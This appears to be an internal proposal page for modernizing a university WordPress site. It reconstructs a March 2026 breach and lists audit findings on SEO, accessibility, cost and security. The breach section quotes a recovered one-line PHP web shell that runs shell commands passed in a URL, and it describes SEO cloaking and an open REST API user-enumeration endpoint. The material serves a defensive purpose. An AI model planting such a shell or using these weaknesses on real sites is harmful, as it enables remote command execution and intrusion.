UMO Shield
Overview Breach Architecture Security Cost Audit Findings Roadmap
March 15, 2026

In-House Digital Infrastructure Modernization

Summary

UMO.edu runs on a WordPress build propped up by more than 50 third-party plugins. Because the site renders every page dynamically on each request, the server rebuilds pages from scratch every time, and based on what I found in the code, that appears to be the main driver of the recurring crashes and slowdowns. The goal here is straightforward: stabilize the site and move toward a static-first architecture that the institution controls. The plan starts hybrid: redesigning the theme and replacing WPBakery blocks with clean HTML, while a fully static version is built alongside it for a clean, low-risk changeover. No more crashes. And over $50,000 in annual external fees recaptured.

53%
Mobile Abandonment Threshold
Over half of mobile visitors leave if a page takes more than 3 seconds to load. Most prospective students are researching on their phones. A slow page can cost us an inquiry before anyone ever sees a form. (Google/SOASTA)
97%
WordPress Vulnerabilities from Plugins
Most known WordPress security vulnerabilities come from plugins, not core. UMO.edu currently runs 50+. The plugin count alone makes this difficult to secure, and what happened this month is consistent with that risk profile. (WPScan)
50×
Current Spend vs. Proposed Infrastructure
~$56,000 current annual spend vs. ~$900–$1,200 for the proposed infrastructure stack (hosting ~$350–$500/yr depending on plan). Better performance, stronger security, full institutional control, at a fraction of the cost.
March 2026 Breach: Probable Attack Sequence

What follows is the most likely sequence based on code recovered from the compromised files. We can't confirm the exact entry point. GenerateDesign attributes it to a plugin but hasn't been able to identify which one. What the recovered code does show is what the attacker could do once inside, and how they kept getting back in after cleanup attempts.

Stage 1: Initial Access

User Enumeration & Brute-Force Entry

The WordPress REST API endpoint /wp-json/wp/v2/users was publicly accessible, returning a confirmed list of all admin and contributor usernames. Whether entry was gained through brute-force against known usernames, an exploited plugin vulnerability, or a combination of both, this open endpoint made credential-based attacks significantly easier. Notably, the endpoint is still open and returning user data on the newly rebuilt site.

Stage 2: Filesystem Compromise

Core WordPress Files Modified

Once inside, the attacker gained write access to the server's filesystem and modified index.php and wp-includes/functions.php, core WordPress files that under normal circumstances only a server administrator or the WordPress update system can change. The ability to rewrite core files indicates elevated server-level access, not just WordPress admin access.

Stage 3: Persistent Backdoor

Web Shell Implanted

The attacker injected a web shell payload: passthru($_GET['themes']);. This created a persistent hidden entrance that bypassed the login screen entirely. By appending a specific parameter to any URL, the attacker could execute arbitrary system-level commands on the server, including deleting files, exfiltrating data, scanning other servers on the same network, or re-infecting cleaned files. All of this was executable from a regular web browser.

Stage 4: SEO Cloaking

Google Reputation Hijacked

Code injected into index.php used a bot-detection list (Googlebot, Bingbot, etc.) to serve two entirely different versions of the site. Human visitors saw the normal UMO website. Search engine crawlers were served gambling and spam content. This technique, known as SEO cloaking, allowed the attacker to exploit UMO's domain authority to rank their spam pages in Google search results while remaining invisible to staff. Google may have indexed this content, and Search Console should be audited for manual actions or cached spam URLs.

Stage 5: Re-Infection Loop

Persistence via Backup Folder

Infected plugin files were confirmed living inside a backup folder on the hosting account. This created a re-infection loop: even after a plugin was uninstalled through the WordPress dashboard, its files remained physically on the server. The attacker's web shell could reach those backup files via URL and use them to re-infect the live site every time it was cleaned. That explains why manual cleanup attempts kept failing and why the restore is taking as long as it is. GenerateDesign is now restoring a cleaned backup onto a new, uninfected server, bypassing the compromised environment entirely rather than attempting further in-place cleanup.

Ongoing concern: The site has since migrated to a new server and the rebuild is underway, but the REST API user endpoint is already returning account data on the new environment. Once a full user list is restored, the same enumeration vector that likely contributed to the original breach will be live again. The security hardening measures below close each of these exposure points before they can be exploited again.

Full Site Redesign: Static-First Architecture

Once the breach behavior was understood, the needed response became clear. Overall, the goal isn't just to patch the current setup, it's to remove the conditions that made it possible, while modernizing performance and getting the site back under institutional control.

Strategic Architecture

A hybrid transition that delivers immediate gains while building toward full decoupling, with no risky big-bang launch required.

Theme Redesign
WordPress continues to serve pages through a redesigned child theme. Nav and footer rebuilt as clean template parts, applied sitewide immediately.
Content Blocks
WPBakery replaced page by page with raw HTML/CSS blocks. A fraction of the PHP overhead, no plugin rendering, and fully portable markup.
Parallel Build
HTML blocks are authored once and repurposed directly on the fully-static site being built alongside WordPress, with zero rework at changeover.

Stability & Scale

Maintaining institutional history while maximizing security.

Zero Content Risk
The 2,100-article archive and 30GB media library remain in place.
Deployment
Rapid, zero-cost deployment of microsites for campaigns, proposals, and events.
In-House Power
Brand familiarity lets us use existing institutional knowledge for faster response times.

The diagram below maps the current request chain against the proposed stack — where each failure point sits and how the new architecture closes it.

Current Stack
Visitor Browser
HTTP request sent to origin server
Shared Hosting
CPU and RAM contended across all hosting tenants
50+ Plugin Render Queue
Every plugin executes PHP on every single request
MySQL Database Query
Full query on each page load; bottleneck under normal traffic
Dynamic HTML Assembled & Delivered
Avg LCP 7.0s on mobile  ·  PageSpeed score: 65 (during partial rebuild)
Proposed Stack
Visitor Browser
Request intercepted at nearest edge node
Cloudflare CDN
Static assets served from global edge; DDoS absorbed before origin
Sucuri WAF
Malicious traffic blocked in the cloud, never reaches the server
Dedicated / Upgraded Hosting
Dedicated resources; no shared tenants, no contention
Static Delivery
Pre-built HTML  ·  ~200ms
WP Content Vault
Editing only  ·  IP-whitelisted
News Archive & Security Hardening

News Archive Fix

Resolving the architectural flaw that causes weekly crashes during dynamic post recalculation.

Flat-File JSON
Index generated automatically when new articles are posted with zero database load or PHP worker stress.
Instant Results
Immediate search results delivered without server-side processing.

Three-Layer Perimeter

An industry-standard security stack protecting both static and content storage layers.

Sucuri WAF
DNS-level interception of malicious traffic and DDoS mitigation.
IP Whitelisting
WordPress admin access restricted to campus IP range.
Endpoint Protection
Real-time threat monitoring and integrity scanning via Wordfence.

Security Stack

Four-layer system replacing the current approach, with Sucuri retained at DNS and Wordfence replacing the Sucuri endpoint.

Cloudflare CDN
Outermost layer. Global anycast network caches and delivers static assets from the nearest edge node. Absorbs volumetric DDoS traffic before it reaches UMO infrastructure. Free tier sufficient for this use case.
Sucuri WAF
DNS-level cloud firewall kept retained from current stack. Malicious requests are intercepted in the cloud and never reach the server. Handles bot filtering, virtual patching, and application-layer DDoS.
Wordfence Premium
Replaces the current Sucuri endpoint plugin. WordPress-specific firewall with a real-time threat intelligence feed (vs. 30-day-delayed free tier). File integrity monitoring, login hardening, and IP blocking. ~$99/yr vs. ~$199/yr for Sucuri endpoint.
Server Hardening
wp-admin access restricted to campus IP ranges only. Geofencing blocks traffic from high-risk regions outside UMO's recruitment footprint. 2FA enforced for all authenticated users.

Backups & Recovery

Server-level backup infrastructure independent of WordPress, plugins, or any third-party tool.

Current State
Right now, backup access depends on WordPress plugins functioning correctly. That's the same system that just got compromised.
Daily Snapshots
The hosting layer performs automated server-level snapshots daily, independent of WordPress. The full server state (files, database, configuration) is captured without any plugin involvement.
30-Day Retention
30 rolling daily copies retained. Point-in-time restore available for any snapshot within the window; critical for recovering from malware, accidental deletion, or failed updates.
One-Click Restore
Full restore initiated directly from the hosting dashboard. No plugin to re-install, no FTP, no manual database import. Operational even when WordPress itself is non-functional.

Forms & Data Strategy

Form handling decoupled from WordPress entirely. No data touches the site database, reducing compliance exposure and plugin dependency.

Slate
All student and prospect-facing forms continue through Slate, embedded where needed. Data stays within the Slate CRM for FERPA compliance, full data ownership, and maintaining audit trail.
Web3Forms
General and custom forms handled via API-driven service. Submissions routed externally so nothing is written to the WordPress database. Enables more interactive, custom-designed form experiences than any plugin allows.
Compliance
No form data stored on the web server reduces breach surface area, simplifies FERPA and data governance obligations, and removes the risk of plugin-based form data exposure.

Staging & Development

The proposed hosting stack includes a full staging environment and Git integration. That's what makes the parallel static build workflow possible.

Staging + Git
A one-click staging environment with Git version control. The parallel static build lives in staging, developed and tested against live data without any risk to production.
Safe Iteration
Theme redesigns, content block migrations, and new page builds are validated in staging before going live. (No more testing changes directly on the production site.)
Launch Readiness
When the static build is complete, the staging-to-production push is a single operation. The routing switch happens cleanly, with a full rollback available if needed.
Institutional Fiscal Performance
Management Infrastructure Annual Cost Control Type
GenerateDesign Management Contract ~$56,000 Vendor-Dependent
Contract Employee Assistance (5hr/week)
Hosting via GenerateDesign
Proposed hosting (~$350–$500/yr depending on plan) ~$900–$1,200/yr Full Ownership
Sucuri WAF + Wordfence Premium
Web3Forms
NET RECAPTURED BUDGET $50,000+ Institutional

*Stack includes hosting, DNS-level WAF, and Wordfence endpoint protection.

Current Annual Spend
~$56,000
GenerateDesign management
Contract employee (5hr/week)
Current hosting
$54,800+
recaptured
50×
cost ratio
Proposed Annual Cost
~$900–$1,200
Hosting (~$350–$500/yr depending on plan)
Sucuri WAF + Wordfence Premium
Web3Forms
Site Audit: Additional Findings

While preparing this proposal, I crawled the live site and reviewed key pages. Each finding below is independent of the larger modernization project. Some of these can be fixed in hours. But taken together, they make a pretty clear case for why the current setup isn't a stable place to stay.

SEO & AI Discoverability

Frankly, the SEO fundamentals are in rough shape across the board. These affect every single page in search results and AI answer engines.

Duplicate Meta Descriptions
All 341 pages share the exact same meta description: "Top Rated Liberal Arts University Eastern NC." The Nursing program page and the Financial Aid page are currently indistinguishable in search results. Each page needs a unique, content-specific description.
No Structured Data
Zero JSON-LD found across all 341 pages. CollegeOrUniversity, EducationalOccupationalProgram, and FAQPage schema would make UMO citable in AI-generated answers and unlock rich result formats in Google.
Incomplete Open Graph Tags
Article pages have partial Open Graph implementation: og:image, og:title, og:url, and og:site_name are populated, but og:description and og:type are empty strings on every article. When shared on social, the link preview will have a title and image but no description. No Twitter Card tags exist anywhere on the site.
Article Dates Not Machine-Readable
I checked the live article pages during the audit. Dates are rendering as plain text inside a <span> with no <time datetime=""> attribute on any of the 2,077 news articles. Google uses machine-readable dates to assess content freshness. Adding the attribute is a one-line fix per template.
Wrong Meta Description Attribute
The homepage meta description uses property="description" instead of the correct name="description". The property attribute is reserved for Open Graph tags, so Google likely ignores this tag entirely, meaning the homepage has effectively no meta description at all.
Multiple H1 Tags
While reviewing the source, I found multiple H1 tags on several pages: qep-summary and financial-aid-and-billing each have three; apply-reset-password and the cybersecurity faculty pages have two. WPBakery section blocks are the likely cause. Search engines use the H1 to understand a page's primary topic, and multiple H1s dilute that signal.

Performance & Code Cleanup

Some of these are quick fixes. Others have just been accumulating for years.

Dead IE Code
IE 7, 8, and 9 conditional comments appear 15,240 times across the site. IE reached end of life in 2022. This dead code is adding overhead on every single page load and can be removed cleanly.
Render-Blocking Scripts
WPBakery (js_composer 8.1), jQuery, jquery-migrate, and Google Remarketing all load synchronously in <head>, blocking First Contentful Paint. None carry async or defer attributes.
Duplicate Stylesheet
The child theme stylesheet loads twice under two different IDs (child-style-css and style-css), resulting in the same file being fetched twice on every page.
Image Formats
All images are served as JPG/PNG with no WebP or AVIF variants. Modern formats offer 25-35% better compression, a meaningful savings at 30 GB of stored media.
Google Fonts: External Dependency
Nunito Sans is loaded via two separate requests to fonts.googleapis.com. This creates a render-blocking round-trip to an external domain before any text can paint, introduces a hard dependency on Google's CDN availability, and sends every visitor's IP address to Google on each page load, a GDPR consideration for international students. Self-hosting the font files costs nothing and eliminates all three issues. This also is a great opportunity to license Futura for our website, or use Jost, an open-source alternative that maintains our brand identity. Jost is in use on this proposal as an example.
No Preconnect Hints
The site loads scripts from six external domains (Google Fonts, Google Ads, DoubleClick, Facebook, AWS S3, and Google Analytics) but only has a single dns-prefetch hint for Google Fonts. Adding rel="preconnect" for each domain front-loads the TCP handshake and TLS negotiation before the browser encounters the script tag, saving approximately 300ms per domain on the first connection.

Mobile & Accessibility

A few of these are patterns that got baked in a long time ago and haven't been revisited.

Generic Link Text
A crawl of the site found 1,171 instances of anchor text like "read more," "click here," and "learn more." Screen readers read each one identically, giving users navigating by Tab no context about where a link leads.
No Skip Navigation
No skip-to-content link exists on any page. Keyboard and screen reader users must navigate through the full header and 111-item navigation menu before reaching the main content on every page.
Touch Targets & Contrast
Navigation links render at small type sizes and close proximity, likely below the 44×44px minimum touch target. Nav link color (#main-nav .navbar-nav>li>a) may not meet WCAG 2.1 AA contrast against the dark green header.
No Breadcrumbs
Interior pages have no breadcrumb trail. Breadcrumbs aid navigation for users in deep page hierarchies and enable BreadcrumbList schema markup, which displays the path in Google search results.
Navigation Depth
The main navigation is 4 levels deep with 111 total items (7 top-level → 39 second → 38 third → 27 fourth). Standard UX guidance caps menus at 2-3 levels. Deep menus are difficult to make keyboard-accessible, collapse poorly on mobile, and push lower-level content so far from the homepage that it receives little to no crawl priority from search engines.

Analytics & Conversion Tracking

Current tracking is fragmented, partially non-functional, and provides limited visibility into enrollment funnel behavior.

Tag Manager in Place
GTM is installed. However, Facebook Pixel (legacy fbds.js) and Google Remarketing tags appear to still be hardcoded separately and should be migrated into GTM to reduce script overhead and allow non-developer updates.
Button-Level Event Tags
It is unclear whether event tags are firing on key conversion points. Apply, Request Info, and the four pathway selectors (Traditional, Online, Graduate, Transfer) should be audited, as click behavior may be invisible in the current setup.
Cross-Domain Tracking
Users who click through to apply.umo.edu break the GA4 session unless cross-domain measurement is explicitly configured. Enrollment funnel drop-off data is likely incomplete.

Security & Site Hygiene

Some of these are minor housekeeping. A couple are more pressing given what happened earlier this month.

WordPress Version Exposed
Every page broadcasts <meta name="generator" content="WordPress 6.9.4">. Attackers can instantly identify the exact version and target known vulnerabilities without any additional reconnaissance.
XML-RPC Active
Every page advertises the xmlrpc.php endpoint via a <link rel="pingback"> tag. XML-RPC is a legacy WordPress protocol that allows unlimited login attempts in a single HTTP request, bypassing standard brute-force protections, and can be used to amplify DDoS attacks by triggering mass pingbacks to third-party sites. It should be disabled at the server level; the REST API handles everything XML-RPC used to do.
No Cookie Consent Mechanism
The site loads Facebook Pixel, Google Analytics, Google Ads, and DoubleClick tracking cookies with zero consent prompt. GDPR requires informed consent before setting non-essential cookies for any visitor from the EU, including prospective international students. FERPA institutions handling student data are also under increasing pressure to adopt explicit consent practices domestically.
REST API User Enumeration
During review of the rebuilt site, I hit /wp-json/wp/v2/users and it returned GDAdmin immediately. The endpoint is wide open. Once more accounts are restored, every contributor, editor, and admin username will be publicly listed, recreating the same exposure that likely contributed to what happened earlier this month. This should be restricted to authenticated requests before the full user base is rebuilt.
Orphaned Test Page
A publicly accessible page at /test/ exists with no title tag, no content, and no links pointing to it. Orphaned pages consume crawl budget and may be indexed as thin content.
Email Addresses in Plain HTML
Addresses like admissions@umo.edu appear as plain text in the HTML source. Harvesting bots scrape these automatically for spam and phishing campaigns. The fix is simple: encode the address as HTML entities (&#097;&#100;&#109;...) or render it via a short JavaScript snippet; both display normally in a browser but are invisible to scrapers. Better still, replacing mailto links with a contact form removes the address from the source entirely.
Implementation Roadmap
Stabilization

Infrastructure Deployment

Infrastructure migration, DNS-level Sucuri WAF, Wordfence, IP whitelisting, and 2FA enforcement.

Phase 1

Theme Redesign

Rebuild nav and footer as clean WordPress child theme template parts. Sitewide visual refresh with zero content migration risk.

Phase 2

Content Migration & Archive Fix

Replace WPBakery blocks with clean HTML/CSS on priority pages. Flat-file JSON index eliminates archive crashes. Static parallel build begins alongside; same markup, no rework.

Phase 3

Full Static Launch

Deploy completed parallel static build. WordPress retained as content vault only. Routing switches, nothing gets rewritten.